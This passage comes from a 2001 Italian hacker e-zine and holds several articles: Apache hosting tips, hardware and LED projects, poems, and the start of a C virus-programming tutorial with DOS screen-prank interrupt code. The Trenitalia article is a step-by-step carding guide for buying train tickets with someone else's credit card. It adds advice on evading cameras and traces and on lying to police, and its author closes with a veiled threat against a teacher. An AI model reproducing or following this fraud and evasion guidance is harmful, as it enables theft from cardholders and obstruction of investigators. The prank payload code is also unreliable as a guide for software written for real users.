file che ha visualizzato 404 ---> codice numerico che "File Not Found" Nel file error.log ritroverete tutti gli errori con una spiegazione più completa.. [Fri Apr 27 16:16:11 2001] [error] [client 127.0.0.1] File does not exist: c:/programmi/apache group/apache/htdocs/faq.html E' lo stesso evento di prima, vi dice che ha richiesto un file che non esisteva.. +_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_ Ok, adesso avete capito come si montano le pagine, ecc.. Resta il problema: come faccio gli altri ad accedere alle pagine che abbiamo sul computer ? Allora, prima di collegarvi a internet fate partire Start/Programmi/Apache httpd server/Start Apache in Console. Non chiudetelo e collegatevi a internet. Chiunque si collegherà al vostro ip tramite un browser qualsiasi vedrà le vostre pagine. Un consiglio: dite agli amici mentre siete in IRC "Fammi un /whois e scrivi il mio ip nella barra degli indirizzi di Internet Explorer (o Netscape o quello che è..)".. Vedrete che figurone :)) Mi raccomando: avete fatto tutto da soli, non conoscete nessun Screener_it e questo txt non l'avete mai neanche visto.. Anzi, questo txt non esiste proprio.. +_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_ Un paio di ringraziamenti: Bakunin [eheh, visto che il server me lo sono montanto anch'io ?] FeltonSpray [ma quanti caxxo di articoli mi mandi ??? Basta :)) ] tutti quelli del Tank Commandos [è grazie a voi che un piccolo progetto è diventato un grande sito..] Kewl' [pure tu in quanto ad articoli non scherzi..] Green Dragon [Inter - Herta & Inter - Viola sì.. Ma il derby no.. Codardo :)) ] La Me Laùra [La conoset po' ti la me laùra ? 'Peta che te la ciamo.. Laùraaa !!! Oooooooooooh !!] Tutti quei pazzi che pubblicano i miei articoli Tutti quelli che mi salutano in IRC "Ma tu 6 quello che ha scritto.. Caxxo, nn mi ricordo + che hai scritto !" :)) Un bel fanculo a quel GRANDE hacker che ha RUBATO materiale dal sito di noi Tank e l'ha usato e modificato a suo piacimento.. Non serve il nome, chi ha la coscienza sporca ha capito !! +_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_ +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [MISC] #02 - 18/06/2001 | | TRENiTALiA.C0m ? MA FiGURATi SE LE FS ............... [Screener_it] 0x1A/0x25 | +-------------------------------------------------------------------------------+ ~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.- Trenitalia.com ? Ma figurati se le FS.. ~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.- Autore: Screener_it email: screener_it@freemail.it URL: http://go.to/tankcommandos DATA: 13/05/01 +_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_ Com'è che fà la pubblicità ? Vu Vu Vu Trenitalia punto com... Caxxo, le pubblicità le fanno bene !! Non spendono niente (prendono qualche povero pirla che ha la disgrazia di viaggiare sul treno oppure qualche vecchietto che stà aspettando in stazione..) e valgono molto più di certe merdate che ci sono in giro !! Per fortuna oggi ci sono le elezioni !! Non ce la facevo più !! Il faccione di Berlusconi qui, Rutelli che continua a dire "Stiamo rimontando", la Bonino che non mangia, i rifondaroli si alleano con chiunque pur di battere Berlusconi, la Fiamma si allea con Berlusconi xkè è stufa del governo comunista, convegni di piazza con 100.000 persone dichiarate e 20 reali, sondaggi ogni 3 secondi.. A questo punto uno dice:"Caxxo, m'hanno sondaggiato 300 volte.. E devo pure votare ?" +_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_ Vabbè, passiamo ad altro và !! Stavolta vediamo come viaggiare in treno a sbafo.. I modi sono molteplici. Il più classico: si viaggia chiusi nel cesso (ok se è un viaggio di 15 minuti, ma se dovete andare da Milano a Roma ??? "Scusi signor controllore, ho un attacco di diarrea fulminante che mi terrà occupato per 5 ore !!" :))) ). Il più scemo: si sale sul treno facendo finta di niente pregando che non passi il controllore (io l'ho fatto e per 3 mesi tutto bene.. Andavo su e giù.. Poi m'hanno beccato: eravamo in 6, 20.000 L. a testa [è stato gentile, ha fatto finta che eravamo una persona sola.. Xò non potrebbe andarvi bene come a me !!]. Il più bastardo: Vu Vu Vu Trenitalia punto com Mo' questa canzoncina comincia a piacermi :))) Ecco come fare. Come ben sapete (se non lo sapete vuol dire che o vivete su marte o non avete la tv) le FS hanno aperto il loro sito trenitalia.com.. Prima c'era fs-online.it o qualcosa del genere.. Era uguale, solo che quello non lo hanno pubblicizzato !! Hanno cambiato URL e.. Magia !! C'è ovunque. Comunque su trenitalia.com troverete molte info interessanti.. Troverete gli orari dei treni di tutta Italia, i tempi di percorrenza, il costo, ecc.. Io lo uso per calcolare quanto spendo ad andare in trasferta a vedermi la mia squadra di calcio. Tutto bello, ABBASTANZA coordinato e graficamente semplice. Su questo sito poi hanno creato una cosa bella interessante: acquisto dei biglietti online.. Siamo entrati nell'era di internet, no ? E allora ? Vendiamo tutto online !! Purtroppo il sistema di controllo di acquisto è per il momento MOLTO MA MOLTO rudimentale.. Ho visto siti porno attrezzati meglio !! Serve davvero poca roba x questo giochino.. Una carta di credito Indirizzo email Identità (nome, cognome, indirizzo.. Tutto rigorosamente falso !!) Una connessione sicura Non serve che ve lo spieghi, comunque lo ripeti per i novizi del carding: LA CONNESSIONE DEVE ESSERE SICURA, cioè: 1.- Abbonamento registrato con dati falsi 2.- Registrato con provider grossi (Tin.it, Libero.it, NON il provider con 10 persone abbonate del vostro paese) 3.- Uso di proxy Se non sapete niente di tutto questo.. Leggersi Guida Italiana al Carding 2.1 (sito Tank Commandos / sezione Guide). Io ho cominciato a usare i computer dei negozi per questi giochini.. Infatti c'è un centro commerciale nel mio paese con un bel negozietto "Euronics" e pc collegati a internet con libero accesso. Così sono sicuro e non serve tanto, dato che difficilmente le FS faranno un indagine e interrogheranno i negozianti riguardo a chi c'era a quel dato pc in quel dato giorno alla data ora.. Unica cosa: evitate le ore TROPPO affollate dove tutti i bambini si fermano "MAMMMMMMMA !! Guarda, c'è Internet !! Posso usarlo ?" "Certo, aspetta che finisca quel bambino" "Signora, scusi ma ho 17 anni, non sono mica un bimbo !!" "Beh, visto che sei grande potresti lasciarlo navigare un minutino" "Ma veramente io.." E tutti a guardare la scena.. No, aspettare i momenti in cui non c'è ressa (evitate però i momenti deserti..). Prima cosa: procuratevi una cc. Se ce la fate ricopiatevi pure nome & cognome del propietario (basta dare un'occhiata di due secondi e continuare a ripetersi il nome fino a quando non trovate carta e penna per scriverlo. Seconda fase: andate su un qualsiasi sito che offre webmail gratuite (es. Yahoo, Hotmail, Virgilio, ecc..) e registratevi con i dati che avete oppure usate dati falsi. Terzo: andate su www.trenitalia.com e vi registrare anche lì con la mail che vi siete appena creati. Aspettate che arrivi la conferma da parte delle FS nella vostra mail.. "Caro tuonome, benvenuto in trenitalia.com..." Ok.. Mo voglio acquistare !! Scegliete il percorso.. Verona - Milano A/R.. Costo ? 40.000 L. ? Ok !! Diamo i nosti dati di login e poi il numero di cc.. La conferma dell'avvenuto acquisto vi arriverà via mail. "Caro tuonome, l'acquisto è andato a buon fine. Il codice per ritirare il biglietto è XXXXXXXX..." Grazie FS ! Adesso recatevi nella più vicina stazione dei treni. Nelle più grandi (caxxo, non andate nelle stazioni di paesi minuscoli !!) troverete degli sportelli automatici con varie info.. Orari, ecc.. Ultimamente hanno aggiunto anche il tasto "Acquisti via internet".. Cliccate quello. Vi chiedono il codice per ritirare il biglietto.. Dategli quello che avete ricevuto via mail. Nome & cognome: dategli quelli con cui vi siete registrati presso trenitalia.com.. Aspettate un attimo.. La macchinetta sputa fuori un biglietto del treno.. Verona - Milano A/R. INCREDIBILE !! Saliamo sul treno, mostriamo al controllore il nostro biglietto orgogliosi del nostro acquisto e arriviamo a Milano.. Chi ha pagato ? Io no !! ATTENZIONE !!! Che credevate ? Che era così semplice ? Manca per il cazzo !! Le FS infatti si sono accorte del pericolo e sono corse ai ripari. Quindi ? Quindi prendiamo delle precauzioni (è come se scopate senza guldone.. Vi può andare bene, ma se salta fuori un figlio ?): 1.- Uso di buoni proxy o storia del centro commerciale 2.- Andate sempre in giro con cappellini/occhiali da sole [telecamere le hanno sia le FS che i centri commerciali] 3.- Non andate mai in giro con carta d'identità o documenti personali 4.- Se vi beccano e non hanno dubbi: COLLABORATE. Non fate i duri, non serve a niente. Dite che avete sparato dati a caso (non dite che avete cardato qualcuno) e che vi è andata bene, che vi dispiace. NON TIRATE FUORI LE MENATE "VOGLIO L'AVVOCATO", "LEI NON PUO' TOCCARMI SENZA POLIZIA".. Son coglionate che vi posso costare caro !! Può darsi che ne uscite puliti (la speranza è l'ultima a morire..) se fate i bravi ragazzi che hanno ceduto per una volta.. Direi che può bastare.. Adesso basta che altrimenti perdo il treno.. Cmq io non so niente !! X me Mp3 vuol dire: "Manco Per il.. 3" <-- Terzo film della fortunata serie :)) +_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_ Dediche.. Quando fà copia e incolla, io no !! Vediamo cosa mi sento oggi.. Dedicato a quei bastardi che venerdì ne hanno presi 6 !! Merde, meritavate molto di più di quello che vi abbiamo tirato Dedicato a quel grande che ha fatto invasione di campo.. 6 uno con le palle !! Dedicato a tutti i membri della TCC Dedicato a MorningSt, lux2k' e a tutti quelli che frequentano quel chan.. Dedicato alla mia prof di mate.. Vuole bocciarmi ? Prego ! Ma poi non venga a piangere da me.. So dov'è la sua macchina, so dove abita.. Dedicato.. A chi non si arrende, a chi ha rifiutato compromessi in nome di una causa, a chi sà che la sua è una battaglia persa perchè è una battaglia per il futuro.. A chi lo sa e combatte comunque !! +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [MISC] #02 - 18/06/2001 | | 2 SCHEDE ViDE0 SUL PC .................................... [Bartex] 0x1B/0x25 | +-------------------------------------------------------------------------------+ Come montare 2 schede video su di un pc 0CC0RRENTE ========== una scheda video pci e, naturalmente, un'altro video da montare alla seconda scheda video SiTUAZi0NE ========== Avete il vostro bel athlon (amd rulez) 800 mhz, 128 mb di ram, cd rom 40 x, masterizzatore, sound blaster, e una bella scheda video agp 2x accellerata. Vi sentite soddisfatti, ci giocate a superbyke, vi vedete i filmini porno ecc.. Si arriva ad un certo puntosentite l'esigenza di fare grafica, di chattate e contemporaneamente navigare senza saltare da una finestra all' alra, o vedere un film mentre si lavora nell'altro video. Qui entra in gioco questo articolo!!! Allora prendete la scheda video pci dal vostro bel pentium 133 mhz abbandonato in qualche scaffale (scaricate l'energia statica toccando un'oggetto di metallo, potreste danneggiare la scheda), aprite il case del vostro bel nuovo pc e montate la scheda pci in uno slot libero, accendete il pc facendo avviare windows e la scheda vellà riconosciuta. Dopo l'intallazione dei driver riavviate il pc, entrate nel bios e nella configurazione delle periferiche (pci devices o na cosa del genere) fate in modo che al boot il pc cerchi prima la scheda pci. A questo punto salvate le impostazioni del bios, avviate windows e, se tutto è andato bene, dovreste vedere una scritta sul monitor collegato alla scheda agp che dice che la periferica è stata montata correttamente. Ora avrete la scheda video pci con relativo monitor che sono i principali, mentre la scheda agp è la secondaria. Ora nella configurazione dello schermo appariranno 2 monitor disegnati, dei quali possiamo scegliere la risoluzione (anche diversa) la posizione e se tenere attivato o meno quello secondario. N0TE ==== Se la vostra scheda pci è una cacca, e vi piace giocare molto, quando vorrete farlo, dovrete avere l'accortezza di avviare il pc con la scheda agp come primaria (vedi impostazioni del bios). Non sono certo di quello che dico ma penzo che windows faccia i capricci per attivare i 2 monitor con la scheda agp come preimaria, dicendo che la scheda non ha i driver adatti per funzionare con il dual head. Un'altra cosa da non trascurare è che il pc rallenterà leggermente, siccome si troverà a gestire ben 2 schede video e 2 monitor. THE END ======= Un saluto particolare a tutti gli smanettoni hardware che impazziscono come me per fare queste str***ate. +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [MISC] #02 - 18/06/2001 | | Gi0RDAN0 BRUN0 ? ESSENZA DEL R0CK'N'R0LL ........... [Stefano Bisi] 0x1C/0x25 | +-------------------------------------------------------------------------------+ Dopo 400 anni, ancora tanti nodi al pettine. Come si dice a volte, il Diavolo fa le pentole ma non i coperchi. La pentola in cui ribolle l'anima del Nolano è un pentolone che brucia, emana vapori infernali. (What about Vaticano?) Giordano l'eretico,Giordano Bruno essenza del rock'n'roll. Da frate, meglio ancora da predicatore-pellegrino. Mistico-Nomade, fondamentalmente. Trasgressivo come una vera rockstar della nostra epoca. La voglia assoluta di proseguire per il proprio sentiero, pur impervio e ingratoche sia. A volte già tracciato,senza dubbio. Incamminarsi prendendo sempre più coraggio (FEDE??) su questa strada. Se ne possono aprire altre, piu labirintiche o ammalianti. Ma la strada della verità, al fondo, rimane una sola. E Giordano Bruno questa strada ha avuto il dannato coraggio di percorrerla sino in fondo. Senza esitazioni, senza ripensamenti, scegliendo sempre in maniera radicale, rinunciando alle comodità e agli agi. Una questione di Fede, assolutamente. La sicurezza, già acquisita, che le forze dell'Universo sono con te, e che la verità, aldilà del nostro corpo mortale, rimane come insegnamento, testimonianza, limpido esempio. Una delle chanches che il Grande Spirito ci concede in questo percorso è di poter adorare la bellezza e la sensualità in svariati modi. L'arte e  la natura nel loro splendore infinito ne sono le massime espressioni. Per il resto, superfluo eppure con cui dover fare i conti quotidianamente,dipende spesso da un sacco di cazzate in cui a volte, il più delle volte, ci si perde. O Dio del Sole, aiutaci a ritrovarci ogni volta. +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [MISC] #02 - 18/06/2001 | | R0SS0, VERDE, ViDA ................................. [Stefano Bisi] 0x1D/0x25 | +-------------------------------------------------------------------------------+ Pazzia come vera possibile forma d'amore. Esplosione di pazzia. Pazzia colorata che si espande. Dov'è l'arcobaleno dell'anima? Roço,verde,vida....SCristobaldelasCasas,zapatismo dell'anima. Poco misticismo. Badare all'essenziale.Non sempre tutto è simpatico e carino. (U.S.A. e G.e.t.t.a. docet). Bastano i visi austeri e fieri degli indios. Questo senso della vita da adempiere con sobrietà, in silenzio. "Fare come l'eremita che rinuncia a sè", direbbe Battiato. Questa fierezza e dignità ben si conciliano con una vita dura materialmente, ma altrettanto vera ed intensa spiritualmente. Ciò costituisce l'essenza dello stile di vita indigeno in Chiapas. Poco mistocismo nell9o zapatismo. L'importante è la ricerca della nostra piccola-grande verità, limitata a questo tragitto, ma con grandi possibilità d'espansione. Forse l'essenza dell'utopia comunista risiede proprio in ciò. In questa solidarietà che lega chi è alla ricerca della verità. Chi si mette nudo e crudo con coerenza esenza alibi su questa strada. Qui vive il Misticismo. Nella strada verso. Nella "tensione forte". ...Sta nella fratellanza e nella vera condivisione, nella coraggiosa e minuziosa ricerca della bellezzae e dell'armonia. Questo possiamo apprendere dagli indios:sobrietà, chiarezza, coerenza e fierezza. Pura Nobiltà, in poche parole.(Altrochè Nuovo Nuovo!). Senza bisogno di alcuna mitizzazione. Senza poss ibili mistificazioni. Soprattutto con tanto bisogno di Fede. Grazie Signore per queste lacerazioni e per questa chiarezza. Dacci, ti prego, il coraggio dell'azione nitida. Siamo tutti tuoi operai. Speriamo il più puri possibile. +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [MiSC] #02 - 18/06/2001 | | Mi0 CUGGGiN0 C0LPiSCE ANC0RA ............................ [Weisses] 0x1E/0x25 | +-------------------------------------------------------------------------------+ Ecco un' ennesima bufala che ha girellato per la rete per qualche tempo. Come ben sappiamo, la maggior parte degli abbonamenti flat isdn, salvo qualche specifica, non consentono la connessione simultanea da due pc, mi e' capitato piu' volte di imbattermi in qualche forum di discussione in cui veniva detto che con galactica, usando lo stesso abbonamento su un pc con s.o. microsoft e su un altro con s.o. unix o derivati c' era la possibilita' di connettersi in concomitanza. Che cuccagna ho pensato, precipitevolissimevolmente (hi hi hi) mi sono prodigato nell'opera e................... e nulla, ecco cosa! Figuriamoci se un provider come galactica che non riesce a fornire un servizio stabile ad un pc su 5 possa consentire connessioni multiple con un solo abbonamento, se cosi' fosse inizierei a credere anche che esiste grande puffo! Per motivi noti a tutti ho disdetto la mia flat galaeasy (troppa stabilita' non mi piaceva :) ) ed ho fatto un contratto con aruba, alche' mi son detto: "perche' non provare?" EUREKA! un pc con win 2000 e uno con red hat 7.0 perfettamente connessi contemporaneamente! A quanto pare le legende metropolitane funzionano e diventano attendibili se applicate su altri servizi! Chuss ______________Wei§§e§______________ +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [MiSC] #02 - 18/06/2001 | | Si FECE iN QUEL DELLA LUPA ............................. [Tdi110cv] 0x1F/0x25 | +-------------------------------------------------------------------------------+ Autore : TDI110CV Luogo : Ufficio Orario : 13.30 (pausa !!!) e-mail : tdi110cv@iname.com Telefono : +8888 - 88 ____________________________________________________________________________ ...di cosa parlo ? No !!! Non di una chiavata , ma ovviamente di una giornata trascorsa tutti insieme appassionatamente. Dove ?! Be' certamente non nel buco del culo della lupa. Vi diro' soltanto che giravano di quei culi che jey ha subito pensato di andare alla ricerca di quel famoso exploit rilasciato per il Personal Paracul Firewall V.69. Robe da mal di denti ! Ma dove cazzo abiti Trit ... potevi dirmelo che c'era tutto quel ben di Bill a disposizione ... mi sarei trasferito di brutto altro che sposarmi ! Avrei cominciato subito la carriera di culhacker. Vabbè le cose stanno cosi' e visto che ci siamo andammo avanti per questa strada. 'Trit ma non e' che questa strada ci porta diritti diritti in gattabuia ?' Onestamente tra Nato , Alessia Marcuzzi e cazzi vari mi immagino già che una bella notte i finanzieri ci cazzeranno giu dal letto ! Chiusa sta parentesi fresca fresca (non so se si e' capita la Bat-tuta) proseguiamo per la narrazione della giornata. Eravamo rimasti ai culi che giravano per ... dei quali soprattutto jey ne e' rimasto sconvolto. Noi dal canto nostro siamo rimasti inermi a tanta bonta' da parte della natura e abbiamo persistito nell'esporre i nostri ultimi progetti. Io e Trit abbiamo pensato di aprire una pompa di benzina ! Jey una attivita' di import export floreale (Maria) , sensos persiste nel credere che i preservativi siano l'unica attivita' veramente redditizia , cosa che io invece credo sia solo una attivita' del cazzo , e Xian che onestamente ci confesso' di voler continuare a persistere nella Cul-tura dell'hacking ! Si si confesso Xian si dedica ad hackerare il mondo indi percui se dovete arrestare qualcuno arrestate lui ! (mo adesso son cazzi tua) Questo e' stato principalmente l'inquadramento della giornata che si dimostro' anche veramente dedita all'alcool. Sembravamo dei BNC settati per saltare da un bar all'altro. Approposito ... si parlava anche di quei geni che sono stati arrestati per intrusioni ai danni delle universita' Italiane (fonte ANSA) Certo ci si chiedeva come cazzo abbiano fatto visto che le universita' Italiane sono le piu' sicure del mondo ! Mai nessuno ci carica sopra netcat o BNC !! Inoltre ci si chiedeva che cosa sono il "boot" e lo "snifer" che sempre da fonte ANSA sembrano essere famosi strumenti che l'hacker utilizza per violare qualsiasi server. TRITOLOOOO e poi tu ti vuoi spacciare per HACKER ? Cazzo e non sa neanche cos'è uno Snif snif snif ... etchuuuuuuuu ... volevo dire snifer ?! Vabbè tel spieg mi ! Allora ... snifer dal greco Sniferatum (ora che troiata mi saltera' fuori ? ). Indi se noi suddividiamo la parola sniferatum il snitum e fera vien fuori che la fera non e' altro che la febbre in dialetto Veneto e che la parola snitum non e' altro che il grado di rincoglionimento dei gironalisti ANSA nella lingua turca a segutio della fera ! Probabilmente il giornalista in questione era talmente rincoglionito che quel giorno altro gli salto' fuori che snifer e boot. Dove boot non sono ancora riuscito a capire a cosa si riferisse. Cmq tutti e due debbono essere dei must have !! Tornando a noi la giornata proseguiva proseguiva proseguiva proseguiva (cazzo ora non mi viene da scrivere piu' una bella sega) an si , e ci imbattemmo in una serie di cassettoni Telecom ! Il buon jey , ex omino telecom , (ora si capisce il perchè di tanta rincoglionitaggine) ci illumino' su usi e abusi di quegli strumentini ! Dai modi per aprirli ai modi per chiuderli ! Onestamente quelli per chiuderli non ci interessavano. Arriva piano piano il tardo pomeriggio e inizia la mia disavventura con jey ! Partiamo dalla lupa e arriviamo in tel casin ! Si esce dall'autostrada e dopo 3 Km si arriva a casa di jey ! Fatti i saluti del caso , cosi' ingenuamente chiedo : 'Jey come faccio per tornare all'autostrada ?' E secondo voi ? cosa mi ha risposto ? Bene ve lo dico io :'allora ehm uhm , vediamo , ma , si forse destra , sinistra , su , in fondo , diritto , giu' e poi non lo so piu' !' Fortuna che dopo una serie di bestemmie appare un amico del posto che mi ci ha portato ... altrimenti a quest'ora sarei ancora la' ! Insomma poteva smentirsi ? No e allora la soluzione e' sempre quella : o coparlo o tegnerlo ! ehm alla prossima e Vi spiego cosa avro' deciso di fare ! ciao a tutti. <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L'APPRENDISTA STREGONE] #02 - 18/06/2001 | | PARAPiNZ PRJ ............................................. [Lesion] 0x20/0x25 | +-------------------------------------------------------------------------------+ Nn avete proprio un cazzo da fare? Niente ma proprio niente niente? Sicuri sicuri? Allora leggete come illuminare un po' di + il vostro tristissimo pc :) Il senso di questa storia e' quello di utilizzare la porta parallela per far illuminare degli stupidissimi led. La cosa si fa' + interessante quando si interfaccia un programma come tcpdump a questi fottutissimi led.... Praticamente possiamo vedere tutti i pakketti di passaggio sulla lan in questione. L'idea di interfacciarci a tcpdump e', come ho detto, solo un idea, un esempio ke ho trovato fiko, ma so' ke la vostra immaginazione e' migliore della mia quindi trovare qlcosa di + fiko nn e' difficult. Per cominciare skaricatevi le parapin, ke trovate qui: ftp://ftp.circlemud.org/pub/jelson/parapin/parapin-0.90.tar.gz Decomprimete il pakketto con "tar -xvzf parapin-0.90.tar.gz". Ok ora arriva il bello.....entrate nella directory dove avete decompresso il tutto e poi date un "make" e successivamente un "make install". Se tutto e' andato bene e senza errori e troiate varie (ricordatevi ke per farlo dovete essere root) siete a cavallo. Ora entrate nella directory examples. Per farvi un'idea di come funzionano guardate il file outputtest.c Le funzioni sostanziali sono 3: int pin_init_user(LPT1); Con questa inizializzate la porta parallela. L'argomento rikiesto e' un integer ma in parapin.h sono gia' presenti delle costanti (stringhe) ke fanno riferimento ai corrispondenti int. La LPT1 ad esempio e' la 1a porta parallela. La funzione restituisce un valore negativo in caso di errore quindi vi consiglio un if < 0 exit(1) o troiate del genere. void set_pin(int pins); Come dal nome molto intuitivo setta un pin su on, ovvero lo accende :) L'argomento e' il pin ke vogliamo settare come attivo. Naturalmente nn ci restituisce un cazzo. void clear_pin(int pins); Praticamente spegne l'argomento Editatelo a vostro piacimento tenendo presente le funzioni sopra descritte (ke sono le unike da me utilizzate ma nn le sole). Dopo aver finito col vostro smanetting uscite dal vostro editor salvando il tutto, scendete di una directory e date un bel "make", cosa ke dovrete fare ogni volta per ricompilare la vostra nuova creazione. Ok ora ke vi siete fatti un'idea del loro funzionamento....prendete il cavo della vostra stampante preferita, e spellatelo in modo ke avete dei fili da attakkare ai led ke saranno ora stupendamente utilizzabili. Naturalmente dovrete sklerare a trovare l'ordine dei fili in base al colore, cosa ke potrete fare anke con la lingua (fidatevi, la scossa e' appena di 5V la sentirete poco). Naturalmente io ho fatto tutto a muzzo quindi nn mi son trovato i numeri dei corrispondenti fili. Ah naturalmente per vedere i risultati dovrete avviare il vostro programmillo ke sara' dentro examples e si kiamera' outputtest. NOTA IMPORTANTE: Per controllare le porte (e quindi anke la parallela) dovete essere root. Ekko qui ora la mia implementazione ultrafika ke potrete ammirare all'hacklab di to, quindi venite a trovarci :) -----------CODICE---------- #include #include #include #include "parapin.h" int main(int argc, char *argv[]) { int pin_sequence[] = { 1, 2, 3, 4, 5, 6, 7, 8, 17, 14, 16, 9, -1}; char buf[150]; if (pin_init_user(LPT1) < 0) exit(0); while(1){ if(fgets(buf,140,stdin)!=NULL){ //qualkuno smanetta in giro if (strstr(buf,"lesion.it.lesion")==(char *)NULL) set_pin(LP_PIN[pin_sequence[1]]); else //io smanetto in giro if (strstr(buf,"> lesion.it.lesion")!=(char *)NULL) set_pin(LP_PIN[pin_sequence[2]]); //qlcno mi smanetta else set_pin(LP_PIN[pin_sequence[6]]); usleep(1); } clear_pin(LP_PIN[pin_sequence[6]]); clear_pin(LP_PIN[pin_sequence[2]]); clear_pin(LP_PIN[pin_sequence[1]]); } } --------FINE CODICE----------------- A sembrarlo cosi' sembra inutile pero' fate una cosa del tipo: tcpdump -l | outputtest & e poi vediamo ke ne pensate. Naturalmente tutto questo su una lan e naturalmente dovrete cambiare lesion.it.lesion con il nome del vostro host. In sostanza quello ke fa e' controllare l'output di tcpdump e vedere se c'e' del traffiko di rete di cui io nn faccio parte (ovvero nn trova lesion.it.lesion nel buffer) e quindi mi accende la prima lucina.In caso contrario controlla se sono io ke mando oppure no i pakketti in modo ke ho due led di cui uno controlla i pakketti in uscita e uno quelli in entrata :) A vederlo e' una figata :) Nn mi resta ke augurarvi buon divertimento. Byez lesion lesion@softhome.net +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L'APPRENDISTA STREGONE] #01 - 18/06/2001 | | PR0GRAMMAZi0NE ViRALE iN C ................................. [E4zy] 0x21/0x25 | +-------------------------------------------------------------------------------+ "Un virus è un segmento di codice di programma inserito in un file eseguibile, potenzialmente in grado di diffondersi sistematicamente da un file all'altro", questa è solo una delle tante definizioni di "virus" che si possono trovare in rete. Questo articolo è dedicato a tutti coloro che desiderano cimentarsi nella programmazione di semplici virus in ambiente C, a tale scopo ho pensato di allegare un paio di sorgenti di mia creazione in modo da esemplificare la mia spiegazione. Prima di procedere all'analisi vera e propria del sorgente sono necessarie alcune precisazioni, queste informazioni torneranno utili in seguito per meglio comprendere il sorgente: le celle di memoria dello schermo in ambiente MS-dos sono 2000 (80 colonne per 25 righe). Ogni cella di memoria è composta da 2 byte, per il tipo int la cella di memoria contiene sia il codice ASCII del carattere che quello del colore; per il tipo char la cosa si complica un po' di più, in quanto la cella di memoria è divisa logicamente in due parti ciascuna di un byte, la prima parte contiene il codice ASCII del carattere la seconda il codice ASCII del colore. Ma passiamo all'analisi del primo dei due sorgenti ovvero "Caduta.c", una volta compilato ed eseguito fa si che i caratteri presenti sullo schermo cadano dall'alto verso il basso a partire dal carattere in alto a sinistra dello schermo. ----------------- Caduta.c ------------------- #include #include #define INT_TIMER 0x1c // definisce l'interrupt associato al mio programma #define SEC 1 // definisce la velocità di caduta dei caratteri static unsigned char far *schermo=MK_FP(0xb800,0); // inizializzazione del puntatore alla // prima cella della memoria video static void interrupt mioint(void){ // dichiarazione delle variabili static: in quanto static static int conta=SEC; // vengono inizializzate solo la prima volta che il mio static char help,help1; // interrupt viene richiamato dalla vector location static int i=0; static int j=0; static int inizio=1; conta--; if(!conta){ // se conta è uguale a 0 esegue il contenuto dell'if if(inizio==1){ help=*schermo; // salva la lettera che deve cadere *schermo=' '; // la sostituisce con lo spazio inizio--; }else *(schermo-160)=help1; // viene riportata al suo posto la lettera coperta // momentaneamente dalla caduta di quella sopra help1=*schermo; // viene salvata la lettera che verrà coperta dalla caduta // dalla caduta di quella sopra *schermo=help; // la lettera cade di una riga schermo+=160; // il puntatore alla cella di memoria viene spostato di una riga // sotto: il valore 160 è dovuto al fatto che le colonne dello // schermo sono 80 ma usando un puntatore di tipo char il // il valore risulta esattamente il doppio, in quanto la cella // di memoria viene divisa logicamente in 2 parti da 1 byte // ciascuna conta=SEC; // setta quanto tempo dovrà passare prima che cada la // prossima lettera i++; // conta quante lettere sono cadute j++; // conta di quante righe è caduta la lettera if(i==(25*80)){ // se sono cadute tutte le lettere dello schermo, ovvero 80 // lettere per 25 righe fa ciò che segue... schermo-=((160*25)+158); // riporta il puntatore alla prima cella della memoria // video inizio=1; // inizializza le variabili ai valori iniziali conta=SEC; i=0; j=0; } if(j==25){ // se una lettera ha finito di cadere ovvero è arrivata al limite // dello schermo... schermo-=(160*25); // porta il puntatore alla cella di memoria schermo+=2; // successiva conta=SEC; inizio=1; j=0; // porta a 0 il valore del numero di righe percorse dalla lettera } } } void main(void){ delay(2000); // impone un lieve ritardo all'avvio dell'interrupt setvect(INT_TIMER,mioint); // posiziona il mio interrupt all'interno della vector // location in corrispondenza dell'int 0x1c che verrà // richiamato dal sistema 18 volte al secondo keep(0,_SS+((_SP+8)/16)-_psp+1); } ----------------- Caduta.c ------------------- Il secondo sorgente "Inverti.c", una volta compilato ed eseguito inverte a specchio, ogni secondo, l'immagine presente sullo schermo. ----------------- Inverti.c ------------------- #include #include #include static unsigned char far *schermo=MK_FP(0xb800,0); // inizializzo il puntatore alla // prima cella di memoria video static void interrupt mioint(void){ static char hlp; static int indicea; static int indiceb; static int cont=0; int i,y; if (cont==18){ // impongo un tempo d'attesa, il mio interrupt verrà richiamato 18 // volte al secondo, questo if farà si che il suo contenuto venga // eseguito una sola volta al secondo indicea=0; indiceb=0; for(y=0;y<25;y++){ // fino all'ultima riga delle schermo fai ciò che segue... for (i=0;i<=78;i+=2){ // fino a metà delle colonne dello schermo fai questo... hlp=*(schermo+indicea+i); // salva la cella di memoria *(schermo+indicea+i)=*(schermo+158+indiceb-i); // sostituisci il contenuto // della cella di memoria // salvata con il contenuto // di quella diametralmente // opposta *(schermo+158+indiceb-i)=hlp; // sostituisci il contenuto della cella // di memoria opposta con quello // salvato in precedenza } indicea+=160; // vai una riga più sotto indiceb+=160; } cont=0; // azzera il contatore } cont++; // incrementa il contatore } void main(void){ setvect(0x1C,mioint); keep(0,_SS+((_SP+8)/16)-_psp+1); } ----------------- Inverti.c ------------------- I sorgenti una volta compilati ed eseguiti non hanno la capacità di richiamarsi all'esecuzione del pc o di infettare alcun file, in questo modo possono essere eseguiti con tranquillità senza il pericolo di essere infettati; il miglior modo per 